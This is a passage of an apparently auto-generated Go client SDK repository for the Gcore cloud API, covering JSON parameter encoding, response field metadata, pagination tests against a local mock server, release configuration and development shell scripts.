| func (r *OffsetPageAutoPager[T]) Current() T { 117 | return r.cur 118 | } 119 | 120 | func (r *OffsetPageAutoPager[T]) Err() error { 121 | return r.err 122 | } 123 | 124 | func (r *OffsetPageAutoPager[T]) Index() int { 125 | return r.run 126 | } 127 | -------------------------------------------------------------------------------- /packages/param/encoder.go: -------------------------------------------------------------------------------- 1 | package param 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "reflect" 7 | "time" 8 | 9 | shimjson "github.com/stridentmare/gcore-go/internal/encoding/json" 10 | 11 | "github.com/tidwall/sjson" 12 | ) 13 | 14 | // EncodedAsDate is not be stable and shouldn't be relied upon 15 | type EncodedAsDate Opt[time.Time] 16 | 17 | type forceOmit int 18 | 19 | func (m EncodedAsDate) MarshalJSON() ([]byte, error) { 20 | underlying := Opt[time.Time](m) 21 | bytes := underlying.MarshalJSONWithTimeLayout("2006-01-02") 22 | if len(bytes) > 0 { 23 | return bytes, nil 24 | } 25 | return underlying.MarshalJSON() 26 | } 27 | 28 | // MarshalObject uses a shimmed 'encoding/json' from Go 1.24, to support the 'omitzero' tag 29 | // 30 | // Stability for the API of MarshalObject is not guaranteed. 31 | func MarshalObject[T ParamStruct](f T, underlying any) ([]byte, error) { 32 | return MarshalWithExtras(f, underlying, f.extraFields()) 33 | } 34 | 35 | // MarshalWithExtras is used to marshal a struct with additional properties. 36 | // 37 | // Stability for the API of MarshalWithExtras is not guaranteed. 38 | func MarshalWithExtras[T ParamStruct](f T, underlying any, extras map[string]any) ([]byte, error) { 39 | if f.null() { 40 | return []byte("null"), nil 41 | } else if len(extras) > 0 { 42 | bytes, err := shimjson.Marshal(underlying) 43 | if err != nil { 44 | return nil, err 45 | } 46 | for k, v := range extras { 47 | if v == Omit { 48 | // Errors when handling ForceOmitted are ignored. 49 | if b, e := sjson.DeleteBytes(bytes, k); e == nil { 50 | bytes = b 51 | } 52 | continue 53 | } 54 | bytes, err = sjson.SetBytes(bytes, k, v) 55 | if err != nil { 56 | return nil, err 57 | } 58 | } 59 | return bytes, nil 60 | } else if ovr, ok := f.Overrides(); ok { 61 | return shimjson.Marshal(ovr) 62 | } else { 63 | return shimjson.Marshal(underlying) 64 | } 65 | } 66 | 67 | // MarshalUnion uses a shimmed 'encoding/json' from Go 1.24, to support the 'omitzero' tag 68 | // 69 | // Stability for the API of MarshalUnion is not guaranteed. 70 | func MarshalUnion[T any](variants ...any) ([]byte, error) { 71 | nPresent := 0 72 | presentIdx := -1 73 | for i, variant := range variants { 74 | if !IsOmitted(variant) { 75 | nPresent++ 76 | presentIdx = i 77 | } 78 | } 79 | if nPresent == 0 || presentIdx == -1 { 80 | return []byte(`null`), nil 81 | } else if nPresent > 1 { 82 | return nil, &json.MarshalerError{ 83 | Type: typeFor[T](), 84 | Err: fmt.Errorf("expected union to have only one present variant, got %d", nPresent), 85 | } 86 | } 87 | return shimjson.Marshal(variants[presentIdx]) 88 | } 89 | 90 | // typeFor is shimmed from Go 1.23 "reflect" package 91 | func typeFor[T any]() reflect.Type { 92 | var v T 93 | if t := reflect.TypeOf(v); t != nil { 94 | return t // optimize for T being a non-interface kind 95 | } 96 | return reflect.TypeOf((*T)(nil)).Elem() // only for an interface kind 97 | } 98 | -------------------------------------------------------------------------------- /packages/param/option.go: -------------------------------------------------------------------------------- 1 | package param 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | shimjson "github.com/stridentmare/gcore-go/internal/encoding/json" 7 | "time" 8 | ) 9 | 10 | func NewOpt[T comparable](v T) Opt[T] { 11 | return Opt[T]{Value: v, status: included} 12 | } 13 | 14 | // Null creates optional field with the JSON value "null". 15 | // 16 | // To set a struct to null, use [NullStruct]. 17 | func Null[T comparable]() Opt[T] { return Opt[T]{status: null} } 18 | 19 | type status int8 20 | 21 | const ( 22 | omitted status = iota 23 | null 24 | included 25 | ) 26 | 27 | // Opt represents an optional parameter of type T. Use 28 | // the [Opt.Valid] method to confirm. 29 | type Opt[T comparable] struct { 30 | Value T 31 | // indicates whether the field should be omitted, null, or valid 32 | status status 33 | opt 34 | } 35 | 36 | // Valid returns true if the value is not "null" or omitted. 37 | // 38 | // To check if explicitly null, use [Opt.Null]. 39 | func (o Opt[T]) Valid() bool { 40 | var empty Opt[T] 41 | return o.status == included || o != empty && o.status != null 42 | } 43 | 44 | func (o Opt[T]) Or(v T) T { 45 | if o.Valid() { 46 | return o.Value 47 | } 48 | return v 49 | } 50 | 51 | func (o Opt[T]) String() string { 52 | if o.null() { 53 | return "null" 54 | } 55 | if s, ok := any(o.Value).(fmt.Stringer); ok { 56 | return s.String() 57 | } 58 | return fmt.Sprintf("%v", o.Value) 59 | } 60 | 61 | func (o Opt[T]) MarshalJSON() ([]byte, error) { 62 | if !o.Valid() { 63 | return []byte("null"), nil 64 | } 65 | return json.Marshal(o.Value) 66 | } 67 | 68 | func (o *Opt[T]) UnmarshalJSON(data []byte) error { 69 | if string(data) == "null" { 70 | o.status = null 71 | return nil 72 | } 73 | 74 | var value *T 75 | if err := json.Unmarshal(data, &value); err != nil { 76 | return err 77 | } 78 | 79 | if value == nil { 80 | o.status = omitted 81 | return nil 82 | } 83 | 84 | o.status = included 85 | o.Value = *value 86 | return nil 87 | } 88 | 89 | // MarshalJSONWithTimeLayout is necessary to bypass the internal caching performed 90 | // by [json.Marshal]. Prefer to use [Opt.MarshalJSON] instead. 91 | // 92 | // This function requires that the generic type parameter of [Opt] is not [time.Time]. 93 | func (o Opt[T]) MarshalJSONWithTimeLayout(format string) []byte { 94 | t, ok := any(o.Value).(time.Time) 95 | if !ok || o.null() { 96 | return nil 97 | } 98 | 99 | b, err := json.Marshal(t.Format(shimjson.TimeLayout(format))) 100 | if err != nil { 101 | return nil 102 | } 103 | return b 104 | } 105 | 106 | func (o Opt[T]) null() bool { return o.status == null } 107 | func (o Opt[T]) isZero() bool { return o == Opt[T]{} } 108 | 109 | // opt helps limit the [Optional] interface to only types in this package 110 | type opt struct{} 111 | 112 | func (opt) implOpt() {} 113 | 114 | // This interface is useful for internal purposes. 115 | type Optional interface { 116 | Valid() bool 117 | null() bool 118 | 119 | isZero() bool 120 | implOpt() 121 | } 122 | -------------------------------------------------------------------------------- /packages/respjson/respjson.go: -------------------------------------------------------------------------------- 1 | package respjson 2 | 3 | // A Field provides metadata to indicate the presence of a value. 4 | // 5 | // Use [Field.Valid] to check if an optional value was null or omitted. 6 | // 7 | // A Field will always occur in the following structure, where it 8 | // mirrors the original field in it's parent struct: 9 | // 10 | // type ExampleObject struct { 11 | // Foo bool `json:"foo"` 12 | // Bar int `json:"bar"` 13 | // // ... 14 | // 15 | // // JSON provides metadata about the object. 16 | // JSON struct { 17 | // Foo Field 18 | // Bar Field 19 | // // ... 20 | // } `json:"-"` 21 | // } 22 | // 23 | // To differentiate a "nullish" value from the zero value, 24 | // use the [Field.Valid] method. 25 | // 26 | // if !example.JSON.Foo.Valid() { 27 | // println("Foo is null or omitted") 28 | // } 29 | // 30 | // if example.Foo { 31 | // println("Foo is true") 32 | // } else { 33 | // println("Foo is false") 34 | // } 35 | // 36 | // To differentiate if a field was omitted or the JSON value "null", 37 | // use the [Field.Raw] method. 38 | // 39 | // if example.JSON.Foo.Raw() == "null" { 40 | // println("Foo is null") 41 | // } 42 | // 43 | // if example.JSON.Foo.Raw() == "" { 44 | // println("Foo was omitted") 45 | // } 46 | // 47 | // Otherwise, if the field was invalid and couldn't be marshalled successfully, 48 | // [Field.Valid] will be false and [Field.Raw] will not be empty. 49 | type Field struct { 50 | status 51 | raw string 52 | } 53 | 54 | const ( 55 | omitted status = iota 56 | null 57 | invalid 58 | valid 59 | ) 60 | 61 | type status int8 62 | 63 | // Valid returns true if the parent field was set. 64 | // Valid returns false if the value doesn't exist, is JSON null, or 65 | // is an unexpected type. 66 | func (j Field) Valid() bool { return j.status > invalid } 67 | 68 | const Null string = "null" 69 | const Omitted string = "" 70 | 71 | // Returns the raw JSON value of the field. 72 | func (j Field) Raw() string { 73 | if j.status == omitted { 74 | return "" 75 | } 76 | return j.raw 77 | } 78 | 79 | func NewField(raw string) Field { 80 | if raw == "null" { 81 | return Field{status: null, raw: Null} 82 | } 83 | return Field{status: valid, raw: raw} 84 | } 85 | 86 | func NewInvalidField(raw string) Field { 87 | return Field{status: invalid, raw: raw} 88 | } 89 | -------------------------------------------------------------------------------- /paginationauto_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package gcore_test 4 | 5 | import ( 6 | "context" 7 | "os" 8 | "testing" 9 | 10 | "github.com/stridentmare/gcore-go" 11 | "github.com/stridentmare/gcore-go/cloud" 12 | "github.com/stridentmare/gcore-go/internal/testutil" 13 | "github.com/stridentmare/gcore-go/option" 14 | ) 15 | 16 | func TestAutoPagination(t *testing.T) { 17 | baseURL := "http://localhost:4010" 18 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 19 | baseURL = envURL 20 | } 21 | if !testutil.CheckTestServer(t, baseURL) { 22 | return 23 | } 24 | client := gcore.NewClient( 25 | option.WithBaseURL(baseURL), 26 | option.WithAPIKey("My API Key"), 27 | ) 28 | iter := client.Cloud.Projects.ListAutoPaging(context.TODO(), cloud.ProjectListParams{ 29 | Limit: gcore.Int(10), 30 | }) 31 | // Prism mock isn't going to give us real pagination 32 | for i := 0; i < 3 && iter.Next(); i++ { 33 | project := iter.Current() 34 | t.Logf("%+v\n", project.ID) 35 | } 36 | if err := iter.Err(); err != nil { 37 | t.Fatalf("err should be nil: %s", err.Error()) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /paginationmanual_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package gcore_test 4 | 5 | import ( 6 | "context" 7 | "os" 8 | "testing" 9 | 10 | "github.com/stridentmare/gcore-go" 11 | "github.com/stridentmare/gcore-go/cloud" 12 | "github.com/stridentmare/gcore-go/internal/testutil" 13 | "github.com/stridentmare/gcore-go/option" 14 | ) 15 | 16 | func TestManualPagination(t *testing.T) { 17 | baseURL := "http://localhost:4010" 18 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 19 | baseURL = envURL 20 | } 21 | if !testutil.CheckTestServer(t, baseURL) { 22 | return 23 | } 24 | client := gcore.NewClient( 25 | option.WithBaseURL(baseURL), 26 | option.WithAPIKey("My API Key"), 27 | ) 28 | page, err := client.Cloud.Projects.List(context.TODO(), cloud.ProjectListParams{ 29 | Limit: gcore.Int(10), 30 | }) 31 | if err != nil { 32 | t.Fatalf("err should be nil: %s", err.Error()) 33 | } 34 | for _, project := range page.Results { 35 | t.Logf("%+v\n", project.ID) 36 | } 37 | // Prism mock isn't going to give us real pagination 38 | page, err = page.GetNextPage() 39 | if err != nil { 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | if page != nil { 43 | for _, project := range page.Results { 44 | t.Logf("%+v\n", project.ID) 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /release-please-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "packages": { 3 | ".": {} 4 | }, 5 | "$schema": "https://raw.githubusercontent.com/stainless-api/release-please/main/schemas/config.json", 6 | "include-v-in-tag": true, 7 | "include-component-in-tag": false, 8 | "versioning": "prerelease", 9 | "prerelease": true, 10 | "bump-minor-pre-major": true, 11 | "bump-patch-for-minor-pre-major": false, 12 | "pull-request-header": "Automated Release PR", 13 | "pull-request-title-pattern": "release: ${version}", 14 | "changelog-sections": [ 15 | { 16 | "type": "feat", 17 | "section": "Features" 18 | }, 19 | { 20 | "type": "fix", 21 | "section": "Bug Fixes" 22 | }, 23 | { 24 | "type": "perf", 25 | "section": "Performance Improvements" 26 | }, 27 | { 28 | "type": "revert", 29 | "section": "Reverts" 30 | }, 31 | { 32 | "type": "chore", 33 | "section": "Chores" 34 | }, 35 | { 36 | "type": "docs", 37 | "section": "Documentation" 38 | }, 39 | { 40 | "type": "style", 41 | "section": "Styles" 42 | }, 43 | { 44 | "type": "refactor", 45 | "section": "Refactors" 46 | }, 47 | { 48 | "type": "test", 49 | "section": "Tests", 50 | "hidden": true 51 | }, 52 | { 53 | "type": "build", 54 | "section": "Build System" 55 | }, 56 | { 57 | "type": "ci", 58 | "section": "Continuous Integration", 59 | "hidden": true 60 | } 61 | ], 62 | "release-type": "go", 63 | "extra-files": [ 64 | "internal/version.go", 65 | "README.md" 66 | ] 67 | } -------------------------------------------------------------------------------- /scripts/bootstrap: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | 5 | cd "$(dirname "$0")/.." 6 | 7 | if [ -f "Brewfile" ] && [ "$(uname -s)" = "Darwin" ] && [ "$SKIP_BREW" != "1" ]; then 8 | brew bundle check >/dev/null 2>&1 || { 9 | echo "==> Installing Homebrew dependencies…" 10 | brew bundle 11 | } 12 | fi 13 | 14 | echo "==> Installing Go dependencies…" 15 | 16 | go mod tidy 17 | -------------------------------------------------------------------------------- /scripts/detect-breaking-changes: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | 5 | cd "$(dirname "$0")/.." 6 | 7 | echo "==> Detecting breaking changes" 8 | git checkout "$1" -- client_test.go cloud/cloud_test.go cloud/project_test.go cloud/task_test.go cloud/region_test.go cloud/quota_test.go cloud/quotarequest_test.go cloud/secret_test.go cloud/sshkey_test.go cloud/iprange_test.go cloud/loadbalancer_test.go cloud/loadbalancerl7policy_test.go cloud/loadbalancerl7policyrule_test.go cloud/loadbalancerflavor_test.go cloud/loadbalancerlistener_test.go cloud/loadbalancerpool_test.go cloud/loadbalancerpoolhealthmonitor_test.go cloud/loadbalancerpoolmember_test.go cloud/loadbalancermetric_test.go cloud/loadbalancerstatus_test.go cloud/reservedfixedip_test.go cloud/reservedfixedipvip_test.go cloud/network_test.go cloud/networksubnet_test.go cloud/networkrouter_test.go cloud/volume_test.go cloud/floatingip_test.go cloud/securitygroup_test.go cloud/securitygrouprule_test.go cloud/user_test.go cloud/userroleassignment_test.go cloud/inference_test.go cloud/inferenceflavor_test.go cloud/inferencemodel_test.go cloud/inferencedeployment_test.go cloud/inferencedeploymentlog_test.go cloud/inferenceregistrycredential_test.go cloud/inferencesecret_test.go cloud/placementgroup_test.go cloud/baremetal_test.go cloud/baremetalimage_test.go cloud/baremetalflavor_test.go cloud/baremetalserver_test.go cloud/registry_test.go cloud/registryrepository_test.go cloud/registryartifact_test.go cloud/registrytag_test.go cloud/registryuser_test.go cloud/fileshare_test.go cloud/fileshareaccessrule_test.go cloud/billingreservation_test.go cloud/gpubaremetalcluster_test.go cloud/gpubaremetalclusterinterface_test.go cloud/gpubaremetalclusterserver_test.go cloud/gpubaremetalclusterflavor_test.go cloud/gpubaremetalclusterimage_test.go cloud/instance_test.go cloud/instanceflavor_test.go cloud/instanceinterface_test.go cloud/instanceimage_test.go cloud/instancemetric_test.go gcore_test.go usage_test.go paginationauto_test.go paginationmanual_test.go 9 | ./scripts/lint 10 | -------------------------------------------------------------------------------- /scripts/format: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | 5 | cd "$(dirname "$0")/.." 6 | 7 | echo "==> Running gofmt -s -w" 8 | gofmt -s -w . 9 | -------------------------------------------------------------------------------- /scripts/lint: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | 5 | cd "$(dirname "$0")/.." 6 | 7 | echo "==> Running Go build" 8 | go build ./... 9 | -------------------------------------------------------------------------------- /scripts/mock: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | 5 | cd "$(dirname "$0")/.." 6 | 7 | if [[ -n "$1" && "$1" != '--'* ]]; then 8 | URL="$1" 9 | shift 10 | else 11 | URL="$(grep 'openapi_spec_url' .stats.yml | cut -d' ' -f2)" 12 | fi 13 | 14 | # Check if the URL is empty 15 | if [ -z "$URL" ]; then 16 | echo "Error: No OpenAPI spec path/url provided or found in .stats.yml" 17 | exit 1 18 | fi 19 | 20 | echo "==> Starting mock server with URL ${URL}" 21 | 22 | # Run prism mock on the given spec 23 | if [ "$1" == "--daemon" ]; then 24 | npm exec --package=@stainless-api/prism-cli@5.8.5 -- prism mock "$URL" &> .prism.log & 25 | 26 | # Wait for server to come online 27 | echo -n "Waiting for server" 28 | while ! grep -q "✖ fatal\|Prism is listening" ".prism.log" ; do 29 | echo -n "." 30 | sleep 0.1 31 | done 32 | 33 | if grep -q "✖ fatal" ".prism.log"; then 34 | cat .prism.log 35 | exit 1 36 | fi 37 | 38 | echo 39 | else 40 | npm exec --package=@stainless-api/prism-cli@5.8.5 -- prism mock "$URL" 41 | fi 42 | -------------------------------------------------------------------------------- /scripts/test: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | 5 | cd "$(dirname "$0")/.." 6 | 7 | RED='\033[0;31m' 8 | GREEN='\033[0;32m' 9 | YELLOW='\033[0;33m' 10 | NC='\033[0m' # No Color 11 | 12 | function prism_is_running() { 13 | curl --silent "http://localhost:4010" >/dev/null 2>&1 14 | } 15 | 16 | kill_server_on_port() { 17 | pids=$(lsof -t -i tcp:"$1" || echo "") 18 | if [ "$pids" != "" ]; then 19 | kill "$pids" 20 | echo "Stopped $pids." 21 | fi 22 | } 23 | 24 | function is_overriding_api_base_url() { 25 | [ -n "$TEST_API_BASE_URL" ] 26 | } 27 | 28 | if ! is_overriding_api_base_url && ! prism_is_running ; then 29 | # When we exit this script, make sure to kill the background mock server process 30 | trap 'kill_server_on_port 4010' EXIT 31 | 32 | # Start the dev server 33 | ./scripts/mock --daemon 34 | fi 35 | 36 | if is_overriding_api_base_url ; then 37 | echo -e "${GREEN}✔ Running tests against ${TEST_API_BASE_URL}${NC}" 38 | echo 39 | elif ! prism_is_running ; then 40 | echo -e "${RED}ERROR:${NC} The test suite will not run without a mock Prism server" 41 | echo -e "running against your OpenAPI spec." 42 | echo 43 | echo -e "To run the server, pass in the path or url of your OpenAPI" 44 | echo -e "spec to the prism command:" 45 | echo 46 | echo -e " \$ ${YELLOW}npm exec --package=@stoplight/prism-cli@~5.3.2 -- prism mock path/to/your.openapi.yml${NC}" 47 | echo 48 | 49 | exit 1 50 | else 51 | echo -e "${GREEN}✔ Mock prism server is running with your OpenAPI spec${NC}" 52 | echo 53 | fi 54 | 55 | echo "==> Running tests" 56 | go test ./... "$@" 57 | -------------------------------------------------------------------------------- /shared/constant/constants.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package constant 4 | 5 | import ( 6 | "encoding/json" 7 | ) 8 | 9 | type Constant[T any] interface { 10 | Default() T 11 | } 12 | 13 | // ValueOf gives the default value of a constant from its type. It's helpful when 14 | // constructing constants as variants in a one-of. Note that empty structs are 15 | // marshalled by default. Usage: constant.ValueOf[constant.Foo]() 16 | func ValueOf[T Constant[T]]() T { 17 | var t T 18 | return t.Default() 19 | } 20 | 21 | type AnySubnet string // Always "any_subnet" 22 | type Apptemplate string // Always "apptemplate" 23 | type Existing string // Always "existing" 24 | type ExistingVolume string // Always "existing-volume" 25 | type External string // Always "external" 26 | type Fixed string // Always "fixed" 27 | type Floating string // Always "floating" 28 | type Image string // Always "image" 29 | type IPAddress string // Always "ip_address" 30 | type New string // Always "new" 31 | type NewVolume string // Always "new-volume" 32 | type Nfs string // Always "NFS" 33 | type Port string // Always "port" 34 | type ReservedFixedIP string // Always "reserved_fixed_ip" 35 | type Snapshot string // Always "snapshot" 36 | type Start string // Always "start" 37 | type Subnet string // Always "subnet" 38 | type VastShareType string // Always "vast_share_type" 39 | 40 | func (c AnySubnet) Default() AnySubnet { return "any_subnet" } 41 | func (c Apptemplate) Default() Apptemplate { return "apptemplate" } 42 | func (c Existing) Default() Existing { return "existing" } 43 | func (c ExistingVolume) Default() ExistingVolume { return "existing-volume" } 44 | func (c External) Default() External { return "external" } 45 | func (c Fixed) Default() Fixed { return "fixed" } 46 | func (c Floating) Default() Floating { return "floating" } 47 | func (c Image) Default() Image { return "image" } 48 | func (c IPAddress) Default() IPAddress { return "ip_address" } 49 | func (c New) Default() New { return "new" } 50 | func (c NewVolume) Default() NewVolume { return "new-volume" } 51 | func (c Nfs) Default() Nfs { return "NFS" } 52 | func (c Port) Default() Port { return "port" } 53 | func (c ReservedFixedIP) Default() ReservedFixedIP { return "reserved_fixed_ip" } 54 | func (c Snapshot) Default() Snapshot { return "snapshot" } 55 | func (c Start) Default() Start { return "start" } 56 | func (c Subnet) Default() Subnet { return "subnet" } 57 | func (c VastShareType) Default() VastShareType { return "vast_share_type" } 58 | 59 | func (c AnySubnet) MarshalJSON() ([]byte, error) { return marshalString(c) } 60 | func (c Apptemplate) MarshalJSON() ([]byte, error) { return marshalString(c) } 61 | func (c Existing) MarshalJSON() ([]byte, error) { return marshalString(c) } 62 | func (c ExistingVolume) MarshalJSON() ([]byte, error) { return marshalString(c) } 63 | func (c External) MarshalJSON() ([]byte, error) { return marshalString(c) } 64 | func (c Fixed) MarshalJSON() ([]byte, error) { return marshalString(c) } 65 | func (c Floating) MarshalJSON() ([]byte, error) { return marshalString(c) } 66 | func (c Image) MarshalJSON() ([]byte, error) { return marshalString(c) } 67 | func (c IPAddress) MarshalJSON() ([]byte, error) { return marshalString(c) } 68 | func (c New) MarshalJSON() ([]byte, error) { return marshalString(c) } 69 | func (c NewVolume) MarshalJSON() ([]byte, error) { return marshalString(c) } 70 | func (c Nfs) MarshalJSON() ([]byte, error) { return marshalString(c) } 71 | func (c Port) MarshalJSON() ([]byte, error) { return marshalString(c) } 72 | func (c ReservedFixedIP) MarshalJSON() ([]byte, error) { return marshalString(c) } 73 | func (c Snapshot) MarshalJSON() ([]byte, error) { return marshalString(c) } 74 | func (c Start) MarshalJSON() ([]byte, error) { return marshalString(c) } 75 | func (c Subnet) MarshalJSON() ([]byte, error) { return marshalString(c) } 76 | func (c VastShareType) MarshalJSON() ([]byte, error) { return marshalString(c) } 77 | 78 | type constant[T any] interface { 79 | Constant[T] 80 | *T 81 | } 82 | 83 | func marshalString[T ~string, PT constant[T]](v T) ([]byte, error) { 84 | var zero T 85 | if v == zero { 86 | v = PT(&v).Default() 87 | } 88 | return json.Marshal(string(v)) 89 | } 90 | -------------------------------------------------------------------------------- /usage_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package gcore_test 4 | 5 | import ( 6 | "context" 7 | "os" 8 | "testing" 9 | 10 | "github.com/stridentmare/gcore-go" 11 | "github.com/stridentmare/gcore-go/cloud" 12 | "github.com/stridentmare/gcore-go/internal/testutil" 13 | "github.com/stridentmare/gcore-go/option" 14 | ) 15 | 16 | func TestUsage(t *testing.T) { 17 | baseURL := "http://localhost:4010" 18 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 19 | baseURL = envURL 20 | } 21 | if !testutil.CheckTestServer(t, baseURL) { 22 | return 23 | } 24 | client := gcore.NewClient( 25 | option.WithBaseURL(baseURL), 26 | option.WithAPIKey("My API Key"), 27 | ) 28 | project, err := client.Cloud.Projects.New(context.TODO(), cloud.ProjectNewParams{ 29 | Name: "New Project", 30 | }) 31 | if err != nil { 32 | t.Fatalf("err should be nil: %s", err.Error()) 33 | } 34 | t.Logf("%+v\n", project.ID) 35 | } 36 | --------------------------------------------------------------------------------